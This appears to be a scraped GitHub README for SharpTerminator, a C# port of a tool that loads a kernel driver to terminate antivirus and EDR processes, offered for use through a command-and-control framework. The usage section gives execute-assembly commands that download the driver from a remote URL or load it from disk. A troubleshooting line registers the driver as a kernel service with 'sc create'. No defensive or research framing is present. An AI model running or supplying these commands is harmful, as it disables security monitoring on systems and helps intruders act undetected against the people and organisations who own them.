Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

mertdas/SharpTerminator

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

24 Commits

Repository files navigation

SharpTerminator

C# port of ZeroMemoryEx's Terminator, so all hail goes to him.

Usage

You can download the driver from a remote URL using SharpTerminator and load it to terminate AV/EDR processes, or you can directly load it to the disk to perform the same operation.

When using Remote URL, the driver is downloaded to "C:\Windows\Temp" and then loaded from there.

In fact, there is no difference between them; if you don't want to use the upload function in your C2, you can use the other one.

Loading from remote url:

execute-assembly SharpTerminator.exe --url "http://remoteurl.com:80/Terminator.sys"

Loading from disk:

execute-assembly SharpTerminator.exe --disk "C:\path\to\driver\Terminator.sys"

Download driver from remote url and terminate AV/EDR:

sharpterminator-url

Load driver from disk and terminate AV/EDR:

sharpterminatsor-disk

Known Issue

If you get "Failed to register the process in the trusted list!" error you should add service manually:

sc create Terminator binPath= "C:\path\to\driver.sys" type= kernel start= demand

Credit

ZeroMemoryEx https://github.com/ZeroMemoryEx/Terminator
Spyboy :)

About

Terminate AV/EDR Processes using kernel driver

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages

AltStyle によって変換されたページ (->オリジナル) /